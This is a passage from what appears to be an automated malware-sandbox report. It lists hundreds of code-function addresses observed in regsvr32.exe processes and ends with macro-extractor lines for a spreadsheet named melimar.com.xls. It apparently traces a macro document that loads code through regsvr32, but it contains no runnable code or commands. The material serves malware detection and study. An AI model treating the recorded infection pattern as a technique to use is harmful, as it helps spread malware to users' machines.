Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001DEFC	4_2_000000018001DEFC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180012500	4_2_0000000180012500
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180024104	4_2_0000000180024104
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180006308	4_2_0000000180006308
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001370C	4_2_000000018001370C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001A10C	4_2_000000018001A10C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180028D10	4_2_0000000180028D10
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180020118	4_2_0000000180020118
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180004B18	4_2_0000000180004B18
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001A524	4_2_000000018001A524
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180015F24	4_2_0000000180015F24
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000F328	4_2_000000018000F328
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180002D28	4_2_0000000180002D28
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000E130	4_2_000000018000E130
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180029134	4_2_0000000180029134
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180008134	4_2_0000000180008134
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180021738	4_2_0000000180021738
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002AF38	4_2_000000018002AF38
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180022140	4_2_0000000180022140
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180028348	4_2_0000000180028348
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000DB4C	4_2_000000018000DB4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180014F50	4_2_0000000180014F50
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000B350	4_2_000000018000B350
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180006954	4_2_0000000180006954
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000F554	4_2_000000018000F554
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002975C	4_2_000000018002975C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002B564	4_2_000000018002B564
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180012168	4_2_0000000180012168
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180013568	4_2_0000000180013568
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180024370	4_2_0000000180024370
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180008370	4_2_0000000180008370
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180015774	4_2_0000000180015774
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180012378	4_2_0000000180012378
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180019178	4_2_0000000180019178
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180025180	4_2_0000000180025180
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180001980	4_2_0000000180001980
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180021588	4_2_0000000180021588
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001A988	4_2_000000018001A988
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180018190	4_2_0000000180018190
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180013994	4_2_0000000180013994
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180026B98	4_2_0000000180026B98
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180028998	4_2_0000000180028998
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001CF9C	4_2_000000018001CF9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000359C	4_2_000000018000359C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001EBA0	4_2_000000018001EBA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800061A0	4_2_00000001800061A0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800135A6	4_2_00000001800135A6
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180016DA8	4_2_0000000180016DA8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800059AC	4_2_00000001800059AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000D7AC	4_2_000000018000D7AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800053B0	4_2_00000001800053B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800135B4	4_2_00000001800135B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001C1B8	4_2_000000018001C1B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180015BB8	4_2_0000000180015BB8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800025B8	4_2_00000001800025B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800207BC	4_2_00000001800207BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800085BC	4_2_00000001800085BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800015C0	4_2_00000001800015C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000FFC0	4_2_000000018000FFC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800295C8	4_2_00000001800295C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800229CC	4_2_00000001800229CC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000E5D4	4_2_000000018000E5D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002A5D8	4_2_000000018002A5D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800173DC	4_2_00000001800173DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180018BDC	4_2_0000000180018BDC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800261E0	4_2_00000001800261E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF75312B0	5_2_000007FEF75312B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF753443C	5_2_000007FEF753443C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF75353FB	5_2_000007FEF75353FB
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF7534A70	5_2_000007FEF7534A70
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF7535E01	5_2_000007FEF7535E01
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF7535CAD	5_2_000007FEF7535CAD
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF7536850	5_2_000007FEF7536850
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_002C0000	5_2_002C0000
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180005C74	5_2_0000000180005C74
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002ACE8	5_2_000000018002ACE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180020118	5_2_0000000180020118
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000359C	5_2_000000018000359C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000E99C	5_2_000000018000E99C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180019628	5_2_0000000180019628
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180025A4C	5_2_0000000180025A4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002B7B2	5_2_000000018002B7B2
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180009408	5_2_0000000180009408
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180023C14	5_2_0000000180023C14
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180006414	5_2_0000000180006414
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002582C	5_2_000000018002582C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000B834	5_2_000000018000B834
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000403C	5_2_000000018000403C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180021444	5_2_0000000180021444
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180012044	5_2_0000000180012044
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180016054	5_2_0000000180016054
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001705C	5_2_000000018001705C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180001870	5_2_0000000180001870
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001F878	5_2_000000018001F878
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180014484	5_2_0000000180014484
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180015494	5_2_0000000180015494
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000BC98	5_2_000000018000BC98
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180008C9C	5_2_0000000180008C9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800078A4	5_2_00000001800078A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001F0A8	5_2_000000018001F0A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001E4AC	5_2_000000018001E4AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800048B0	5_2_00000001800048B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001ACB4	5_2_000000018001ACB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800090B4	5_2_00000001800090B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800270C0	5_2_00000001800270C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800024C0	5_2_00000001800024C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800280C8	5_2_00000001800280C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800050D4	5_2_00000001800050D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800234D8	5_2_00000001800234D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800150F0	5_2_00000001800150F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180012500	5_2_0000000180012500
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180024104	5_2_0000000180024104
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001A10C	5_2_000000018001A10C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180028D10	5_2_0000000180028D10
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001A524	5_2_000000018001A524
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180002D28	5_2_0000000180002D28
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000E130	5_2_000000018000E130
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180029134	5_2_0000000180029134
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180008134	5_2_0000000180008134
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180022140	5_2_0000000180022140
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180006954	5_2_0000000180006954
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000F554	5_2_000000018000F554
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002B564	5_2_000000018002B564
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180012168	5_2_0000000180012168
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180013568	5_2_0000000180013568
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180024570	5_2_0000000180024570
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180019178	5_2_0000000180019178
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180025180	5_2_0000000180025180
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180001980	5_2_0000000180001980
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180021588	5_2_0000000180021588
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001A988	5_2_000000018001A988
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180018190	5_2_0000000180018190
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180013994	5_2_0000000180013994
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180028998	5_2_0000000180028998
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800061A0	5_2_00000001800061A0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800135A6	5_2_00000001800135A6
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180016DA8	5_2_0000000180016DA8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800059AC	5_2_00000001800059AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800135B4	5_2_00000001800135B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001C1B8	5_2_000000018001C1B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800025B8	5_2_00000001800025B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800085BC	5_2_00000001800085BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800015C0	5_2_00000001800015C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800295C8	5_2_00000001800295C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800229CC	5_2_00000001800229CC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000E5D4	5_2_000000018000E5D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002A5D8	5_2_000000018002A5D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800261E0	5_2_00000001800261E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800079EC	5_2_00000001800079EC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180023624	5_2_0000000180023624
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180018628	5_2_0000000180018628
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180017E2C	5_2_0000000180017E2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180017638	5_2_0000000180017638
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180004E3C	5_2_0000000180004E3C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180020E40	5_2_0000000180020E40
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180015A64	5_2_0000000180015A64
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180015264	5_2_0000000180015264
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000A26C	5_2_000000018000A26C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180007678	5_2_0000000180007678
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001667C	5_2_000000018001667C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180012680	5_2_0000000180012680
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180001E88	5_2_0000000180001E88
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000968C	5_2_000000018000968C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180022290	5_2_0000000180022290
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180026A90	5_2_0000000180026A90
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000529C	5_2_000000018000529C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180020AA0	5_2_0000000180020AA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180022AAC	5_2_0000000180022AAC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180007EB4	5_2_0000000180007EB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800162BC	5_2_00000001800162BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800252C0	5_2_00000001800252C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001AEC8	5_2_000000018001AEC8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001F6DC	5_2_000000018001F6DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800026DC	5_2_00000001800026DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180002ADC	5_2_0000000180002ADC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001E2F4	5_2_000000018001E2F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180016AF4	5_2_0000000180016AF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000DEF4	5_2_000000018000DEF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001DEFC	5_2_000000018001DEFC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180006308	5_2_0000000180006308
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001370C	5_2_000000018001370C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180004B18	5_2_0000000180004B18
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180015F24	5_2_0000000180015F24
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180006B24	5_2_0000000180006B24
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000F328	5_2_000000018000F328
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180021738	5_2_0000000180021738
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002AF38	5_2_000000018002AF38
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180028348	5_2_0000000180028348
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000DB4C	5_2_000000018000DB4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180014F50	5_2_0000000180014F50
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000B350	5_2_000000018000B350
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000A758	5_2_000000018000A758
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002975C	5_2_000000018002975C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180024370	5_2_0000000180024370
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180008370	5_2_0000000180008370
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180015774	5_2_0000000180015774
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180012378	5_2_0000000180012378
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180026B98	5_2_0000000180026B98
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001CF9C	5_2_000000018001CF9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001EBA0	5_2_000000018001EBA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001B3A4	5_2_000000018001B3A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000D7AC	5_2_000000018000D7AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800053B0	5_2_00000001800053B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180015BB8	5_2_0000000180015BB8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800207BC	5_2_00000001800207BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000FFC0	5_2_000000018000FFC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800173DC	5_2_00000001800173DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180018BDC	5_2_0000000180018BDC
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_002C0000	7_2_002C0000
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000C819	7_2_000000018000C819
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180019628	7_2_0000000180019628
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180025A4C	7_2_0000000180025A4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018001705C	7_2_000000018001705C
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180012864	7_2_0000000180012864
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180005C74	7_2_0000000180005C74
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_00000001800248B0	7_2_00000001800248B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_00000001800090B4	7_2_00000001800090B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_00000001800252C0	7_2_00000001800252C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_00000001800024C0	7_2_00000001800024C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180024104	7_2_0000000180024104
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180006B24	7_2_0000000180006B24
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180006F2C	7_2_0000000180006F2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000A758	7_2_000000018000A758
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180024570	7_2_0000000180024570
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000E99C	7_2_000000018000E99C
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018001B3A4	7_2_000000018001B3A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_00000001800079EC	7_2_00000001800079EC
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180009408	7_2_0000000180009408
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180023C14	7_2_0000000180023C14
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180006414	7_2_0000000180006414
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180023624	7_2_0000000180023624
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180018628	7_2_0000000180018628
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018002582C	7_2_000000018002582C
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180017E2C	7_2_0000000180017E2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000B834	7_2_000000018000B834
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180017638	7_2_0000000180017638
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000403C	7_2_000000018000403C
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180004E3C	7_2_0000000180004E3C
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180020E40	7_2_0000000180020E40
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180021444	7_2_0000000180021444
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180012044	7_2_0000000180012044
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180016054	7_2_0000000180016054
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180015A64	7_2_0000000180015A64
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180015264	7_2_0000000180015264
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000A26C	7_2_000000018000A26C
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180001870	7_2_0000000180001870
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018001F878	7_2_000000018001F878
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180007678	7_2_0000000180007678
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018001667C	7_2_000000018001667C
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180012680	7_2_0000000180012680
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180014484	7_2_0000000180014484
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180001E88	7_2_0000000180001E88
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000968C	7_2_000000018000968C
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180022290	7_2_0000000180022290
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180026A90	7_2_0000000180026A90
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180015494	7_2_0000000180015494
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000BC98	7_2_000000018000BC98
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000529C	7_2_000000018000529C
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180008C9C	7_2_0000000180008C9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180020AA0	7_2_0000000180020AA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_00000001800078A4	7_2_00000001800078A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018001F0A8	7_2_000000018001F0A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180022AAC	7_2_0000000180022AAC
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018001E4AC	7_2_000000018001E4AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_00000001800048B0	7_2_00000001800048B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018001ACB4	7_2_000000018001ACB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180007EB4	7_2_0000000180007EB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_00000001800162BC	7_2_00000001800162BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_00000001800270C0	7_2_00000001800270C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_00000001800280C8	7_2_00000001800280C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018001AEC8	7_2_000000018001AEC8
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_00000001800050D4	7_2_00000001800050D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_00000001800234D8	7_2_00000001800234D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018001F6DC	7_2_000000018001F6DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_00000001800026DC	7_2_00000001800026DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180002ADC	7_2_0000000180002ADC
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018002ACE8	7_2_000000018002ACE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_00000001800150F0	7_2_00000001800150F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018001E2F4	7_2_000000018001E2F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180016AF4	7_2_0000000180016AF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000DEF4	7_2_000000018000DEF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018001DEFC	7_2_000000018001DEFC
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180012500	7_2_0000000180012500
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180006308	7_2_0000000180006308
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018001370C	7_2_000000018001370C
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018001A10C	7_2_000000018001A10C

Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF74DBD70 appears 113 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF753BD70 appears 113 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF74D7FF0 appears 31 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF9D2B3B0 appears 148 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF7537FF0 appears 31 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF9D27FF0 appears 31 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF74DB3B0 appears 148 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF753B3B0 appears 148 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF9D2BD70 appears 113 times

Source: melimar.com.xls	Macro extractor: Sheet name: PKEKPPGEKKPGE
Source: melimar.com.xls	Macro extractor: Sheet name: PKEKPPGEKKPGE

